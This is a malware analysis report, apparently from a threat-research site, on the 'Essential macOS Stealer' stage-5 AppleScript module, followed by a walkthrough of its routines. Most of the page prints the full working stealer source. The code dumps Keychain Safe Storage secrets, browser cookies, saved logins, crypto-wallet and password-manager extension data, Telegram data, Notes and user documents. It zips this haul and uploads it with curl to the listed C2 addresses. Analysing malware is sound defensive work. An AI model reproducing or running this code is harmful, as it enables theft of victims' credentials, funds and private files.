← Reports

InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author
Moise Medici
Updated
10 Sept 2026 · Completed
Difficulty
Easy
Platform
MacOS
Capabilities
Command and Control C2 CommunicationCommand Execution via Powershell Cmd BashCredential TheftData-ExfiltrationDropping Secondary Payloads
Tags
bashAppleScriptEssential macOS Stealer

Stage5 smodule Code Analysis

The full cleaned-up code is shown below, with most Chrome extensions removed for brevity. The complete list remains available in the cleaned-up script.

stage5_smodule_clean.applescript
on ensureDirectoryExists(dirPath)
try
do shell script "mkdir -p " & quoted form of (POSIX path of dirPath)
end try
end ensureDirectoryExists
on parentPathOf(pathString)
try
set slashOffsetFromEnd to offset of "/" in (reverse of every character of pathString) as string
return text 1 thru -(slashOffsetFromEnd + 1) of pathString
end try
end parentPathOf
on appendTextToFile(contentText, outputPath)
try
ensureDirectoryExists(parentPathOf(outputPath))
set fileHandle to open for access outputPath with write permission
write contentText to fileHandle starting at eof
close access fileHandle
end try
end appendTextToFile
on copyFileToPath(sourcePath, destPath)
try
ensureDirectoryExists(parentPathOf(destPath))
do shell script "cat " & quoted form of sourcePath & " > " & quoted form of destPath
end try
end copyFileToPath
on isDirectoryPath(pathString)
try
set fileTypeOutput to do shell script "file -b " & quoted form of (POSIX path of pathString)
return fileTypeOutput ends with "directory"
end try
end isDirectoryPath
on copyDirectoryTreeFiltered(sourceDir, destDir)
try
set ignoreNames to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "_update__"}
set folderEntries to list folder sourceDir without invisibles
ensureDirectoryExists(destDir)
repeat with entryName in folderEntries
if entryName is not in ignoreNames then
set sourceItem to sourceDir / entryName
set destItem to destDir / entryName
if isDirectoryPath(sourceItem) then
copyDirectoryTreeFiltered(sourceItem, destItem)
else
copyFileToPath(sourceItem, destItem)
end if
end if
end repeat
end try
end copyDirectoryTreeFiltered
on harvestMatchingExtensionDirectories(searchRoot, outputRoot, extensionMap, appendIndexedDBFolder)
try
set folderEntries to list folder searchRoot without invisibles
repeat with entryName in folderEntries
repeat with mappingPair in extensionMap
set extensionId to item 1 of mappingPair
set extensionLabel to item 2 of mappingPair
if entryName contains extensionId then
set sourcePath to searchRoot & entryName
set destPath to outputRoot & "_" & extensionLabel
if appendIndexedDBFolder then
set destPath to destPath & "/IndexedDB/"
end if
copyDirectoryTreeFiltered(sourcePath, destPath)
end if
end repeat
end repeat
end try
end harvestMatchingExtensionDirectories
on collectChromiumArtifacts(stagingDir, browserSpecList)
try
set walletExtensionMap to {
{"nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask Wallet"},
{"egjidjbpglichdcondbcbdnbeeppgdph", "Trust Wallet"},
{"cjmkndjhnagcfbpiemnkdpomccnjblmj", "Finnie Wallet"},
{"hifafgmccdpekplomjjkcfgodnhcellj", "Crypto.com Wallet"},
[... most are removed for brevity ... ]
{"ibjflpbmadchofnbpppegdbnifdgincp", "DID Wallet"},
{"miccfnlbijkmbckaagllchcfknjhgfnk", "Speed Bitcoin Lightning Wallet"},
{"idpdilbfamoopcfofbipefhmmnflljfi", "FACT wallet"},
{"lpnfhpbpmlobjlgkdmnjieeihjmihhjd", "Console Wallet"}
}
set passwordManagerExtensionMap to {
{"pejdijmoenmkgeppbflobdenhhabjlaj", "iCloud Passwords"},
{"hdokiejnpimakedhajhdlcegeplioahd", "LastPass Password Manager"},
{"aeblfdkhhhdcdjpifhhbdiojplfjncoa", "1Password"},
{"kmbjcfefmceiibhnddbeenklcmpehmdd", "TweakPass"},
{"eiaeiblijfjekdanodkjadfinkhbfgcd", "NordPass"},
{"bfogiafebfohielmmehodmfbbebbbpei", "Keeper"},
{"ghmbeldphafepmbegfdlkpapadhbakde", "Proton Pass"},
{"nngceckbapebfimnlniiiahkandclblb", "Bitwarden"},
{"mmhlniccooihdimnnjhamobppdhaolme", "Kee Password"},
{"cnlhokffphohmfcddnibpohmkdfafdli", "MultiPassword"},
{"nhhldecdfagpbfggphklkaeiocfnaafm", "saaspass-dot-com"},
{"bnfdmghkeppfadphbnkjcicejfepnbfe", "Sticky Password"},
{"hifbblnjfcimjnlhibannjoclibgedmd", "MasterPassword"},
{"kmcfomidfpdkfieipokbalgegidffkal", "Enpass Password Manager"},
{"fdjamakpfbbddfjaooikfcpapjohcfmg", "Dashlane Password Manager"},
{"bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"}
}
set browserArtifactPaths to {
"/Network/Cookies",
"/Cookies",
"/Web Data",
"/Login Data",
"/History",
"/Local Extension Settings/",
"/IndexedDB/"
}
repeat with browserSpec in browserSpecList
set browserLabel to item 1 of browserSpec
set browserRoot to item 2 of browserSpec
set browserOutputRoot to stagingDir & "Browsers/" & browserLabel
try
set profileNames to list folder browserRoot without invisibles
repeat with profileName in profileNames
set profileName to profileName as string
if profileName is equal to "Default" or profileName contains "Profile" then
repeat with artifactSuffix in browserArtifactPaths
set artifactSuffix to artifactSuffix as string
set sourceArtifactPath to browserRoot & profileName & artifactSuffix
if artifactSuffix is equal to "/Network/Cookies" then
set artifactSuffix to "/Cookies"
end if
if artifactSuffix is equal to "/Local Extension Settings/" then
harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Wallets/" & browserLabel & profileName, walletExtensionMap, false)
harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Extensions/" & browserLabel & profileName, passwordManagerExtensionMap, false)
else if artifactSuffix is equal to "/IndexedDB/" then
harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Wallets/" & browserLabel & profileName, walletExtensionMap, true)
harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Extensions/" & browserLabel & profileName, passwordManagerExtensionMap, true)
else if artifactSuffix is equal to "/Local Storage/" then
copyDirectoryTreeFiltered(sourceArtifactPath, stagingDir & "Wallets/Local Storage_" & browserLabel & profileName)
else
set destArtifactPath to browserOutputRoot & profileName & artifactSuffix
copyFileToPath(sourceArtifactPath, destArtifactPath)
end if
end repeat
end if
end repeat
end try
end repeat
end try
end collectChromiumArtifacts
on collectFirefoxArtifacts(stagingDir, firefoxSpecList)
set firefoxArtifactPaths to {
"/cert9.db",
"/cookies.sqlite",
"/cookies.sqlite-wal",
"/formhistory.sqlite",
"/key4.db",
"/logins-backup.json",
"/logins.json",
"/signons.sqlite",
"/places.sqlite"
}
repeat with firefoxSpec in firefoxSpecList
set browserLabel to item 1 of firefoxSpec
set firefoxProfilesRoot to item 2 of firefoxSpec
set browserOutputRoot to stagingDir & "Browsers/" & browserLabel
try
set profileNames to list folder firefoxProfilesRoot without invisibles
repeat with profileName in profileNames
set profileName to profileName as string
if profileName contains "Profile" or profileName contains ".default" then
repeat with artifactSuffix in firefoxArtifactPaths
set artifactSuffix to artifactSuffix as string
set sourceArtifactPath to firefoxProfilesRoot & profileName & artifactSuffix
set destArtifactPath to browserOutputRoot & profileName & artifactSuffix
copyFileToPath(sourceArtifactPath, destArtifactPath)
end repeat
end if
end repeat
end try
end repeat
end collectFirefoxArtifacts
on collectTelegramTdata(stagingDir, appSupportPath)
try
copyDirectoryTreeFiltered(appSupportPath & "Telegram Desktop/tdata/", stagingDir & "Telegram Desktop/")
end try
end collectTelegramTdata
on copyExistingDirectoryPairs(stagingDir, directoryPairList)
repeat with directoryPair in directoryPairList
try
copyDirectoryTreeFiltered(item 2 of directoryPair, stagingDir & item 1 of directoryPair)
end try
end repeat
end copyExistingDirectoryPairs
on collectStandaloneWalletDirs(walletSpecList, outputBaseDir, categoryName)
try
set existingWalletSpecs to {}
repeat with walletSpec in walletSpecList
try
set walletLabel to item 1 of walletSpec
set walletPath to item 2 of walletSpec as string
if (do shell script "test -d " & quoted form of walletPath & " && echo exists || echo no") is equal to "exists" then
set end of existingWalletSpecs to {walletLabel, walletPath}
end if
end try
end repeat
if (length of existingWalletSpecs) > 0 then
try
do shell script "mkdir -p " & quoted form of (outputBaseDir & categoryName)
repeat with walletSpec in existingWalletSpecs
try
set walletLabel to item 1 of walletSpec
set walletPath to item 2 of walletSpec as string
set destWalletPath to outputBaseDir & categoryName & "/" & walletLabel
do shell script "cp -R " & quoted form of walletPath & " " & quoted form of destWalletPath
end try
end repeat
end try
end if
end try
end collectStandaloneWalletDirs
on readGenericPasswordFromKeychain(serviceName)
try
do shell script "security find-generic-password -s " & quoted form of serviceName & " > /dev/null 2>&1"
on error
return ""
end try
repeat
try
set secretValue to do shell script "security find-generic-password -w -s " & quoted form of serviceName
if secretValue ends with linefeed then set secretValue to text 1 thru -2 of secretValue
return secretValue
on error
delay 0.1
end try
end repeat
end readGenericPasswordFromKeychain
on dirnameString(pathString)
set AppleScript's text item delimiters to "/"
set pathParts to text items of pathString
set AppleScript's text item delimiters to ""
if (count of pathParts) 1 then return "."
set parentParts to items 1 thru -2 of pathParts
set AppleScript's text item delimiters to "/"
set parentPath to parentParts as string
set AppleScript's text item delimiters to ""
return parentPath
end dirnameString
on randomizeRelativeSubpath(relativeParentPath, topLevelLabel)
global seenOriginalSubpaths, assignedRandomSubpaths, usedRandomIds
if relativeParentPath is "." then return "."
set AppleScript's text item delimiters to "/"
set relativeParts to text items of relativeParentPath
set AppleScript's text item delimiters to ""
set randomizedParts to {}
set currentPathPrefix to topLevelLabel
repeat with i from 1 to count of relativeParts
set currentSegment to item i of relativeParts
set currentPathPrefix to currentPathPrefix & "/" & currentSegment
set existingIndex to 0
repeat with j from 1 to count of seenOriginalSubpaths
if item j of seenOriginalSubpaths is currentPathPrefix then
set existingIndex to j
exit repeat
end if
end repeat
if existingIndex > 0 then
set randomId to item existingIndex of assignedRandomSubpaths
else
repeat
set randomId to (random number from 100000 to 999999) as string
if randomId is not in usedRandomIds then exit repeat
end repeat
set end of usedRandomIds to randomId
set end of seenOriginalSubpaths to currentPathPrefix
set end of assignedRandomSubpaths to randomId
end if
set end of randomizedParts to randomId
end repeat
set AppleScript's text item delimiters to "/"
set randomizedPath to randomizedParts as string
set AppleScript's text item delimiters to ""
return randomizedPath
end randomizeRelativeSubpath
on getHardwareUUID()
set uuidCommands to {
"ioreg -rd1 -c IOPlatformExpertDevice | awk -F\" '\/IOPlatformUUID\/{print $4}'",
"ioreg -rd1 -c IOPlatformExpertDevice | grep -o 'IOPlatformUUID[^,]*' | cut -d'\"' -f4",
"system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'",
"system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
repeat with shellCmd in uuidCommands
try
set uuidValue to do shell script shellCmd
if length of uuidValue is 36 and uuidValue contains "-" then return uuidValue
end try
end repeat
end getHardwareUUID
set currentUsername to (system attribute "USER")
set hardwareUUID to getHardwareUUID()
set userHomePath to "/Users/" & currentUsername
set stagingDir to "/tmp/1e23d6097631b47c39f3289489aa94001788881737/"
set storedPasswordPath to POSIX path of (path to home folder) & ".passphrase"
set capturedPassword to do shell script "cat " & quoted form of storedPasswordPath
set maxSingleFileBytes to 250000
set maxTotalGrabBytes to 5000000
set collectedFileIndex to 0
set collectedTotalBytes to 0
set seenOriginalSubpaths to {}
set assignedRandomSubpaths to {}
set usedRandomIds to {}
set createdOutputDirs to {}
set appSupportPath to userHomePath & "/Library/Application Support/"
try
set externalIP to do shell script "curl -fsSL http://api.ipify.org/"
on error
set externalIP to "error"
end try
set chromiumProfileTargets to {
{"Yandex", appSupportPath & "Yandex/YandexBrowser"},
{"Chrome", appSupportPath & "Google/Chrome/"},
{"Brave", appSupportPath & "BraveSoftware/Brave-Browser/"},
{"Edge", appSupportPath & "Microsoft Edge/"},
{"Vivaldi", appSupportPath & "Vivaldi/"},
{"Opera", appSupportPath & "com.operasoftware.Opera/"},
{"OperaGX", appSupportPath & "com.operasoftware.OperaGX/"},
{"Chrome Beta", appSupportPath & "Google/Chrome Beta/"},
{"Chrome Canary", appSupportPath & "Google/Chrome Canary/"},
{"Chromium", appSupportPath & "Chromium/"},
{"Chrome Dev", appSupportPath & "Google/Chrome Dev/"}}
set walletTargets to {
{"Exodus", appSupportPath & "Exodus/"},
{"Electrum", userHomePath & "/.electrum/wallets/"},
{"Atomic", appSupportPath & "Atomic Wallet/Local Storage/leveldb/"},
{"Guarda", appSupportPath & "Guarda/"},
{"Coinomi", appSupportPath & "Coinomi/wallets/"},
{"Sparrow", userHomePath & "/.sparrow/wallets/"},
{"Wasabi", userHomePath & "/.walletwasabi/client/Wallets/"},
{"Bitcoin Core", appSupportPath & "Bitcoin/"},
{"Armory", appSupportPath & "Armory/"},
{"Electron Cash", userHomePath & "/.electron-cash/wallets/"},
{"Monero", userHomePath & "/.bitmonero/wallets/"},
{"Litecoin Core", appSupportPath & "Litecoin/"},
{"DashCore", appSupportPath & "DashCore/"},
{"Dogecoin Core", appSupportPath & "Dogecoin/"},
{"Electrum Litecoin", userHomePath & "/.electrum-ltc/wallets/"},
{"BlueWallet", appSupportPath & "BlueWallet/"},
{"Zengo", appSupportPath & "Zengo/"},
{"Trust Wallet", appSupportPath & "Trust Wallet/"},
{"Ledger Live", appSupportPath & "Ledger Live/"},
{"Ledger Wallet", appSupportPath & "Ledger Wallet/"},
{"Trezor Suite", appSupportPath & "@trezor"},
{"TON Keeper", appSupportPath & "@tonkeeper"}}
set firefoxTargets to {{"Firefox", appSupportPath & "Firefox/Profiles/"}}
set macOSVersion to system version of (system info)
set AppleScript's text item delimiters to "."
set macOSVersionParts to text items of macOSVersion
set AppleScript's text item delimiters to ""
set macOSMajor to (item 1 of macOSVersionParts) as integer
if (count of macOSVersionParts) 2 then
set macOSMinor to (item 2 of macOSVersionParts) as integer
else
set macOSMinor to 0
end if
if (macOSMajor > 26) or (macOSMajor = 26 and macOSMinor 4) then
set safeStorageServices to {"Chrome Safe Storage", "Microsoft Edge Safe Storage", "Brave Safe Storage", "Opera Safe Storage", "Vivaldi Safe Storage"}
set safeStorageSecrets to ""
repeat with serviceName in safeStorageServices
set secretValue to readGenericPasswordFromKeychain(serviceName)
if secretValue is not "" then
set safeStorageSecrets to safeStorageSecrets & serviceName & ":" & secretValue & linefeed
end if
end repeat
appendTextToFile(safeStorageSecrets, stagingDir & "Secrets")
else
copyFileToPath(userHomePath & "/Library/Keychains/login.keychain-db", stagingDir & "login.keychain-db")
end if
appendTextToFile(currentUsername, stagingDir & "Username")
appendTextToFile(capturedPassword, stagingDir & "Password")
try
appendTextToFile("Essential macOS Stealer" & return & return, stagingDir & "UserInformation")
appendTextToFile("Build: NITRO" & return, stagingDir & "UserInformation")
appendTextToFile("Username: " & currentUsername, stagingDir & "UserInformation")
appendTextToFile(return & "Password: " & capturedPassword & return, stagingDir & "UserInformation")
appendTextToFile("IP Address: " & externalIP & return & return, stagingDir & "UserInformation")
set systemProfileText to do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
appendTextToFile(systemProfileText, stagingDir & "UserInformation")
end try
try
set desktopAlias to path to desktop folder as alias
set desktopPath to POSIX path of desktopAlias
set desktopPrefixLength to (length of desktopPath) + 1
set documentsAlias to path to documents folder as alias
set documentsPath to POSIX path of documentsAlias
set documentsPrefixLength to (length of documentsPath) + 1
tell application "Finder"
if collectedTotalBytes < maxTotalGrabBytes then
set desktopFiles to every file of entire contents of desktopAlias
repeat with currentFile in desktopFiles
if collectedTotalBytes maxTotalGrabBytes then exit repeat
try
set currentFileSize to size of currentFile
if currentFileSize < maxSingleFileBytes and (collectedTotalBytes + currentFileSize) maxTotalGrabBytes then
set collectedFileIndex to collectedFileIndex + 1
set sourceFilePath to POSIX path of (currentFile as alias)
set relativeSourcePath to text desktopPrefixLength thru -1 of sourceFilePath
set fileExtension to name extension of currentFile
if fileExtension is not missing value and fileExtension is not "" then
set stagedFileName to (collectedFileIndex as string) & "." & fileExtension
else
set stagedFileName to (collectedFileIndex as string)
end if
set relativeParentPath to my dirnameString(relativeSourcePath)
set randomizedSubpath to my randomizeRelativeSubpath(relativeParentPath, "Desktop")
if randomizedSubpath is "." then
set destinationDir to stagingDir & "FileGrabber/Desktop"
else
set destinationDir to stagingDir & "FileGrabber/Desktop/" & randomizedSubpath
end if
set destinationPath to destinationDir & "/" & stagedFileName
if destinationDir is in createdOutputDirs then
do shell script "cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath
else
do shell script "mkdir -p " & quoted form of destinationDir & " && cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath
set end of createdOutputDirs to destinationDir
end if
set collectedTotalBytes to collectedTotalBytes + currentFileSize
end if
end try
end repeat
end if
if collectedTotalBytes < maxTotalGrabBytes then
set documentFiles to every file of entire contents of documentsAlias
repeat with currentFile in documentFiles
if collectedTotalBytes maxTotalGrabBytes then exit repeat
try
set currentFileSize to size of currentFile
if currentFileSize < maxSingleFileBytes and (collectedTotalBytes + currentFileSize) maxTotalGrabBytes then
set collectedFileIndex to collectedFileIndex + 1
set sourceFilePath to POSIX path of (currentFile as alias)
set relativeSourcePath to text documentsPrefixLength thru -1 of sourceFilePath
set fileExtension to name extension of currentFile
if fileExtension is not missing value and fileExtension is not "" then
set stagedFileName to (collectedFileIndex as string) & "." & fileExtension
else
set stagedFileName to (collectedFileIndex as string)
end if
set relativeParentPath to my dirnameString(relativeSourcePath)
set randomizedSubpath to my randomizeRelativeSubpath(relativeParentPath, "Documents")
if randomizedSubpath is "." then
set destinationDir to stagingDir & "FileGrabber/Documents"
else
set destinationDir to stagingDir & "FileGrabber/Documents/" & randomizedSubpath
end if
set destinationPath to destinationDir & "/" & stagedFileName
if destinationDir is in createdOutputDirs then
do shell script "cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath
else
do shell script "mkdir -p " & quoted form of destinationDir & " && cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath
set end of createdOutputDirs to destinationDir
end if
set collectedTotalBytes to collectedTotalBytes + currentFileSize
end if
end try
end repeat
end if
end tell
end try
try
tell application "Notes"
set allNotes to {}
repeat with notesFolder in every folder
try
set allNotes to allNotes & (notes of notesFolder)
end try
end repeat
if (length of allNotes) > 0 then
set notesOutputPath to stagingDir & "/Notes"
do shell script "mkdir -p " & quoted form of stagingDir
set noteDumpText to "Notes count: " & ((length of allNotes) as string) & return & return
set noteSeparator to "====================================================================="
repeat with currentNote in allNotes
try
set noteTitle to name of currentNote
set noteBody to plaintext of currentNote
set noteDumpText to noteDumpText & noteSeparator & return
set noteDumpText to noteDumpText & "Title: " & noteTitle & return
set noteDumpText to noteDumpText & noteSeparator & return
set noteDumpText to noteDumpText & noteBody & return
set noteDumpText to noteDumpText & noteSeparator & return
end try
end repeat
do shell script "echo " & quoted form of noteDumpText & " > " & quoted form of notesOutputPath
end if
end tell
end try
try
set safariCookieHelperScript to 'set baseFolderPath to (path to home folder as text) & "tempFolderC:"
tell application "Finder"
set username to short user name of (system info)
if not (exists folder baseFolderPath) then
do shell script "echo \'Creating base folder\'"
make new folder at (path to home folder) with properties {name:"tempFolderC"}
end if
try
do shell script "echo \'Copying Safari cookies\'"
set macOSVersion to do shell script "sw_vers -productVersion"
if macOSVersion starts with "10.15" or macOSVersion starts with "10.14" then
set safariFolder to ((path to library folder from user domain as text) & "Safari:")
else
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
end if
duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing
end try
end tell'
do shell script "nohup sh -c " & quoted form of ("printf %s " & quoted form of safariCookieHelperScript & " | osascript") & " > /dev/null 2>&1 < /dev/null &"
delay 3
set safariCookieTempPath to userHomePath & "/tempFolderC/Cookies.binarycookies"
do shell script "cp -f " & quoted form of (POSIX path of (POSIX file safariCookieTempPath)) & " " & quoted form of (stagingDir & "/Cookies.binarycookies")
end try
collectChromiumArtifacts(stagingDir, chromiumProfileTargets)
collectFirefoxArtifacts(stagingDir, firefoxTargets)
collectStandaloneWalletDirs(walletTargets, stagingDir, "Wallets")
collectTelegramTdata(stagingDir, appSupportPath)
do shell script "ditto -c -k --sequesterRsrc " & stagingDir & " /tmp/1e23d6097631b47c39f3289489aa94001788881737.zip"
try
set zipPath to "/tmp/1e23d6097631b47c39f3289489aa94001788881737.zip"
set zipSizeText to do shell script "stat -f%z " & quoted form of zipPath
set zipSizeBytes to zipSizeText as integer
set uploadSizeCutoffBytes to 90 * 1024 * 1024
if zipSizeBytes > uploadSizeCutoffBytes then
set uploadCommand to "curl --max-time 3000 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " http://62.60.226.50/upload.php > /tmp/updstat.txt 2>&1"
do shell script uploadCommand
else
try
set uploadCommand to "curl --max-time 90 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " https://d9mjs.sbs/upload.php > /tmp/updstat.txt 2>&1"
do shell script uploadCommand
on error
set uploadCommand to "curl --max-time 3000 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " http://62.60.226.50/upload.php > /tmp/updstat.txt 2>&1"
do shell script uploadCommand
end try
end if
end try

Given the size and complexity of this script, it is useful to start with the main routine and see what is invoked and when. The main routine starts at line 296, marked in the script above.

It starts by setting several variables, including the username, the hardwareUUID (using the same getHardwareUUID function as the previous stage), a staging directory at /tmp/1e23d6097631b47c39f3289489aa94001788881737/, the infected machine’s external IP address obtained via cURL from api.ipify.org, Chrome profile directories, wallet directories, and Firefox profile directories. This already suggests that the sample is an infostealer.

It then checks whether the macOS version is greater than 26 or at least 26.4 and uses the set operation to assign safeStorageServices to an array containing "Chrome Safe Storage", "Microsoft Edge Safe Storage", "Brave Safe Storage", "Opera Safe Storage", and "Vivaldi Safe Storage". For each service, it calls readGenericPasswordFromKeychain. If the function, which is reviewed shortly, returns a value, that value and the service name are appended to safeStorageSecrets using the serviceName:serviceValue format. The resulting safeStorageSecrets value is collected for later upload.

The contents of safeStorageSecrets are then written to a file named Secrets in the staging directory.

If the version is below 26, the copyFileToPath function copies /Library/Keychains/login.keychain-db to a file named login.keychain-db in the staging directory.

The readGenericPasswordFromKeychain function uses the security 9 utility to query the Keychain. The query is script "security find-generic-password -s service_name". The service names identify Keychain entries that return saved credentials when queried.

Next, the username, password, and IP address are written to the staging directory along with the string “Essential macOS Stealer”, which may identify the campaign or malware family. After that, system_profiler runs again to collect software and hardware information from the device.

The core of the script is the collection of data from native macOS apps through the collectXXX functions.

The script starts by interacting with Finder to enumerate files in ~/Desktop and ~/Documents and copy them into the staging directory under FileGrabber/Desktop/<random path> or FileGrabber/Documents/<random path>, where <random path> is generated by the randomizeRelativeSubpath function. It then interacts with Notes to dump all notes into a noteDumpText variable, which is saved to /Notes in the staging directory. Finally, it takes Safari cookies from the Library/Safari folder (via (path to library folder from user domain as text) & "Safari:") or from ~/Library/Containers/com.apple.Safari/Data/, depending on the macOS version. The file Cookies.binarycookies is copied to the staging directory.

The collectChromiumArtifacts function uses three lists: one containing wallet extensions such as “Metamask Wallet” and their extension IDs, one containing the corresponding ID-to-name mappings for password manager extensions such as Bitwarden, and a third containing paths to check, such as Login Data, History, and Cookies.

For each entry in chromiumProfileTargets, a variable defined at the beginning of the script that lists Chromium-based browsers and their paths, such as Vivaldi, the function iterates over each extension ID and directory. It calls harvestMatchingExtensionDirectories to copy the entire directory into a staging subdirectory for that browser and profile.

The same applies to Firefox-based browsers: their data is stored in SQLite databases, which are copied to the staging directory.

The standalone wallet applications and Telegram are handled by copying their directories into the staging directory.

Once everything is copied, the staging directory is zipped and uploaded with cURL to either http://62.60.226.50/upload.php or https://d9mjs.sbs/upload.php.